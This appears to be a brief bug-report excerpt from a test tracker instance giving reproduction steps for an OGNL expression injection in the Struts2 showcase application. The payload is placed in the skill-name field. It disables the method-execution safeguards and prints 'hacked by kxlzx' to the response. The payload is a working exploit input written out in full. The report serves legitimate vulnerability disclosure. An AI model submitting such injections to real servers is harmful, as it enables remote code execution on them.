THIS IS A TEST INSTANCE. ALL YOUR CHANGES WILL BE LOST!!!!
...
- Run struts2-showcase
- Open url: http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEV
- write skill name to %{expr} for example:
Code Block %{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}
- submit the form
...